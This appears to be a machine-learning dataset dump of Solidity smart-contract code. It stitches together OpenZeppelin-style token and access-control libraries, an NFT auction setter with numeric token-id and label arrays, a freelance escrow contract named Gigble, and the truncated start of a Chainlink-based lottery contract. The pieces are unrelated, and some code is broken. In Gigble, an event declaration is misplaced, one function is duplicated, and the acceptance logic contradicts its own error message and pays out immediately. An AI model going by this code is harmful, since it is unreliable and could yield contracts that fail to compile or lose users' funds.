)
public
virtual
override
{
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
address operator = _msgSender();
_balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer");
_balances[id][to] = _balances[id][to].add(amount);
emit TransferSingle(operator, from, to, id, amount);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
public
virtual
override
{
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
address operator = _msgSender();
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
_balances[id][from] = _balances[id][from].sub(
amount,
"ERC1155: insufficient balance for transfer"
);
_balances[id][to] = _balances[id][to].add(amount);
}
emit TransferBatch(operator, from, to, ids, amounts);
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_balances[id][account] = _balances[id][account].add(amount);
emit TransferSingle(operator, address(0), account, id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]);
}
emit TransferBatch(operator, address(0), to, ids, amounts);
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
}
|
* @dev auction 시간 설정 [minites] Requirements: - not zero/
|
function setDuration(uint256 duration_) external onlyOwner {
require(duration_ > 0,"NFTMarket/duration_is_0");
_duration = duration_;
}
| 11,759,817 |
[
1,
69,
4062,
225,
173,
238,
255,
171,
113,
231,
225,
173,
231,
102,
173,
259,
248,
306,
1154,
2997,
65,
29076,
30,
300,
486,
3634,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
444,
5326,
12,
11890,
5034,
3734,
67,
13,
3903,
1338,
5541,
282,
288,
203,
3639,
2583,
12,
8760,
67,
405,
374,
10837,
50,
4464,
3882,
278,
19,
8760,
67,
291,
67,
20,
8863,
203,
3639,
389,
8760,
273,
3734,
67,
31,
203,
565,
289,
377,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0xA75faaDe3216b39013Ec9beb28D30AdC5A0F0939/sources/contracts/Gigble.sol
|
Enum for project state
|
contract Gigble {
pragma solidity ^0.8.9;
enum State {
Inactive,
Active,
Completed
}
struct Project {
string name;
address payable client;
address payable freelancer;
uint256 budget;
string description;
uint256 deadline;
bool completed;
bool paid;
State state;
}
error InvalidState();
modifier inState(State state_) {
if (state != state_) revert InvalidState();
_;
}
uint256 indexed projectId,
string name,
string description,
uint256 budget,
uint256 deadline,
address payable client
);
event ProjectAccepted(uint256 indexed projectId);
event PaymentReleased(uint256 indexed projectId);
event PaymentRefunded(uint256 indexed projectId);
address payable public platformAddress;
uint256 public platformFee;
State public state;
event ProjectCreated(
Project[] public projects;
constructor(address payable _platformAddress, uint256 _platformFee) {
platformAddress = _platformAddress;
platformFee = _platformFee;
state = State.Inactive;
}
function createProject(
string calldata _name,
string calldata _description,
uint256 _deadline
) external payable inState(State.Inactive) returns (uint256) {
require(
msg.value > 0,
"Please provide a non-zero project budget as the value of the transaction."
);
Project memory project = Project({
name: _name,
description: _description,
budget: msg.value,
deadline: _deadline,
client: payable(msg.sender),
freelancer: payable(address(0)),
completed: false,
paid: false,
state: State.Active
});
uint256 projectId = projects.length;
projects.push(project);
emit ProjectCreated(
projectId,
project.name,
project.description,
project.budget,
project.deadline,
project.client
);
return projectId;
}
function createProject(
string calldata _name,
string calldata _description,
uint256 _deadline
) external payable inState(State.Inactive) returns (uint256) {
require(
msg.value > 0,
"Please provide a non-zero project budget as the value of the transaction."
);
Project memory project = Project({
name: _name,
description: _description,
budget: msg.value,
deadline: _deadline,
client: payable(msg.sender),
freelancer: payable(address(0)),
completed: false,
paid: false,
state: State.Active
});
uint256 projectId = projects.length;
projects.push(project);
emit ProjectCreated(
projectId,
project.name,
project.description,
project.budget,
project.deadline,
project.client
);
return projectId;
}
function acceptProject(uint256 _projectId) external {
Project storage project = projects[_projectId];
require(project.freelancer == address(0), "Project already accepted");
require(
msg.sender == project.client,
"Client cannot accept the project"
);
project.freelancer = payable(msg.sender);
uint256 fee = (project.budget * platformFee) / 100;
platformAddress.transfer(fee);
uint256 amount = project.budget - fee;
project.completed = true;
project.paid = true;
project.freelancer.transfer(amount);
emit ProjectAccepted(_projectId);
emit PaymentReleased(_projectId);
}
function refundPayment(uint256 _projectId) external inState(State.Active) {
Project storage project = projects[_projectId];
require(
msg.sender == platformAddress,
"Only platform can refund payment"
);
require(!project.completed, "Project already completed");
require(block.timestamp > project.deadline, "Deadline not yet passed");
project.completed = true;
project.state = State.Completed;
project.client.transfer(project.budget);
emit PaymentRefunded(_projectId);
}
}
| 9,469,692 |
[
1,
3572,
364,
1984,
919,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
611,
360,
7119,
288,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
29,
31,
203,
565,
2792,
3287,
288,
203,
3639,
657,
3535,
16,
203,
3639,
8857,
16,
203,
3639,
28722,
203,
565,
289,
203,
203,
565,
1958,
5420,
288,
203,
3639,
533,
508,
31,
203,
3639,
1758,
8843,
429,
1004,
31,
203,
3639,
1758,
8843,
429,
22010,
292,
304,
2750,
31,
203,
3639,
2254,
5034,
15051,
31,
203,
3639,
533,
2477,
31,
203,
3639,
2254,
5034,
14096,
31,
203,
3639,
1426,
5951,
31,
203,
3639,
1426,
30591,
31,
203,
3639,
3287,
919,
31,
203,
565,
289,
203,
203,
565,
555,
1962,
1119,
5621,
203,
203,
565,
9606,
316,
1119,
12,
1119,
919,
67,
13,
288,
203,
3639,
309,
261,
2019,
480,
919,
67,
13,
15226,
1962,
1119,
5621,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
3639,
2254,
5034,
8808,
9882,
16,
203,
3639,
533,
508,
16,
203,
3639,
533,
2477,
16,
203,
3639,
2254,
5034,
15051,
16,
203,
3639,
2254,
5034,
14096,
16,
203,
3639,
1758,
8843,
429,
1004,
203,
565,
11272,
203,
565,
871,
5420,
18047,
12,
11890,
5034,
8808,
9882,
1769,
203,
565,
871,
12022,
26363,
12,
11890,
5034,
8808,
9882,
1769,
203,
565,
871,
12022,
1957,
12254,
12,
11890,
5034,
8808,
9882,
1769,
203,
203,
203,
565,
1758,
8843,
429,
1071,
4072,
1887,
31,
203,
565,
2254,
5034,
1071,
4072,
14667,
31,
203,
203,
565,
3287,
1071,
919,
31,
203,
203,
565,
871,
5420,
6119,
12,
203,
565,
5420,
8526,
1071,
10137,
31,
203,
565,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@chainlink/contracts/src/v0.8/dev/VRFConsumerBase.sol";
contract SLottery is ERC721, VRFConsumerBase, Ownable {
using Counters for Counters.Counter;
using SafeMath for uint256;
//sUSD token
IERC20 sUSD;
// Track ticket/token id ranges for current and previous lottery
uint256 public tokenIdFloor;
uint256 public prevTokenIdFloor;
// keep track of latest ticket/token id purchased
uint256 public lastTokenId;
// Counter for token ids as ticket NFTs
Counters.Counter private tokenIds;
// Counter for lottery ids - used for the winners
Counters.Counter private lotteryIds;
// lottery ticket price in sUSD
uint256 public tokenPrice = (1 * 10**18);
// Lottery running time duration before expire and prize announced
uint256 public duration = 6 hours;
// Used to identify the oracle
bytes32 internal keyHash;
// Used for requesting the random number from the oracle
uint256 internal oracleFee;
// keep track of each lottery total funds
mapping(uint256 => uint256) public lotteryIdFunds;
// keep track of a certain lottery's expiry date
mapping(uint256 => uint256) public lotteryIdExpiry;
// check if for a given lottery a token id has won a prize
mapping(uint256 => mapping(uint256 => bool)) public lotteryId1stPlaceAward;
mapping(uint256 => mapping(uint256 => bool)) public lotteryId2ndPlaceAward;
mapping(uint256 => mapping(uint256 => bool)) public lotteryId3rdPlaceAward;
// keep track of each lottery and token id prizes
mapping(uint256 => uint256) public tokenId1stPlaceAward;
mapping(uint256 => uint256) public tokenId2ndPlaceAward;
mapping(uint256 => uint256) public tokenId3rdPlaceAward;
// keep a reference for total tickets count for each lottery draw
mapping(uint256 => uint256) public lotteryIdTokensCount;
mapping(bytes32 => uint256) public requestIdLottery;
// prizes percentages distribution as x%, no decimals
uint8[3] public prizePercentArr = [50, 35, 15];
/**
* @dev Event emitted when a `requestId` was created by the `sender`
*/
event VRFRequested(
uint256 lotteryId,
bytes32 indexed requestId,
address indexed sender
);
/**
* @dev Event emitted when `firstPlaceTokenId`, `secondPlaceTokenId`, `thirdPlaceTokenId` are awarded for a `lotteryId`.
*/
event WinnersAnnounced(
uint256 lotteryId,
uint256 firstPlaceTokenId,
uint256 secondPlaceTokenId,
uint256 thirdPlaceTokenId
);
// enum defining the three PrizeClaimed event types
enum EventType {First, Second, Third}
/**
* @dev Event emitted when `tokenId` has claimed its reward for a `lotteryId`.
*/
event PrizeClaimed(uint256 lotteryId, EventType eventType, uint256 tokenId);
/**
* @dev Initialize contract by setting a `_sUSDAddress` for sUSD, a `_VRFCoordinator`
* as a Chainlink's smart contract to get a true random number, a `_LinkToken` that is used
* to pay the oracle and a `_keyHash` to identify the proper oracle. A `name` and a `symbol`d for the
* contract are needed as we inherit from the ERC721 contract. We also set the `oracleFee` to 0.1 LINK and we
* initialize the first lottery as soon as the contract is deployed
*/
constructor(
address _sUSDAddress,
address _vrfCoordinator,
address _linkToken,
bytes32 _keyHash
)
VRFConsumerBase(_vrfCoordinator, _linkToken)
ERC721("dSynthLottery", "SLX")
{
sUSD = IERC20(_sUSDAddress);
keyHash = _keyHash;
oracleFee = 0.1 * 10**18;
lotteryIdExpiry[lotteryIds.current()] = block.timestamp.add(duration);
}
/**
* @dev buy tokens/tickets for a `recipient` and transfers final cost `sUSDAmount` from sender's balance to the smart contract
*
* Emits a {Transfer} event from the ERC721 smart contract.
*/
function buyTickets(address recipient, uint256 tokens)
external
returns (uint256 tokenIdStart, uint256 tokenIdEnd)
{
require(tokens >= 1, "Minimum 1 ticket to buy required");
uint256 sUSDAmount = tokenPrice * tokens;
require(
sUSD.allowance(msg.sender, address(this)) >= sUSDAmount,
"Approve contract to spend funds for ticket cost"
);
require(
sUSD.balanceOf(msg.sender) >= sUSDAmount,
"Not enough funds for ticket cost"
);
//the sUSDAmount will go to specific lottery pool
lotteryIdFunds[lotteryIds.current()] = lotteryIdFunds[
lotteryIds.current()
]
.add(sUSDAmount);
tokenIdStart = tokenIds.current().add(1);
// we start ticketId from 1, leaving ticketId zero with no use
// Mint tickets
uint256 i;
for (i = 0; i < tokens; i++) {
tokenIds.increment();
_safeMint(recipient, tokenIds.current());
}
// save latest ticket id purchsed
lastTokenId = tokenIds.current();
tokenIdEnd = tokenIds.current();
//transfer sUSDAmount to the lottery smart contract
sUSD.transferFrom(msg.sender, address(this), sUSDAmount);
}
/**
* @dev anounce the winners by requesting a random number from Chainlink oracle using a seed
*
* Requirements:
*
* - current lottery should have expired
* - the smart contract should have enough balance to cover the fee
*
*/
function announceWinners(uint256 userProvidedSeed)
external
returns (bytes32)
{
// make sure there are at least 3 participants
uint256 tokensCount = getCurrentLotteryTokensCount();
require(tokensCount >= 3, "minimum tokens sold required");
require(
lotteryIdExpiry[lotteryIds.current()] < block.timestamp,
"Lottery is still running!"
);
bytes32 requestId = getRandomNumber(userProvidedSeed);
requestIdLottery[requestId] = lotteryIds.current();
emit VRFRequested(requestIdLottery[requestId], requestId, msg.sender);
return requestId;
}
/**
* Requests randomness from a user-provided seed
*/
function getRandomNumber(uint256 userProvidedSeed)
internal
returns (bytes32 requestId)
{
require(
LINK.balanceOf(address(this)) >= oracleFee,
"Not enough LINK balance"
);
return requestRandomness(keyHash, oracleFee, userProvidedSeed);
}
/**
* @dev Callback function used by the VRFCoordinator. Determines the winners by taking the random value from the VRF response
* and expanding it to 3 random values for the top 3 places. Afterwards a new lottery starts automatically.
*
* Emits a {WinnersAnnounced} event
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness)
internal
override
{
uint256 currentLotteryId = requestIdLottery[requestId];
uint256 randWinner0 = uint256(keccak256(abi.encode(randomness, 0)));
uint256 randWinner1 = uint256(keccak256(abi.encode(randomness, 1)));
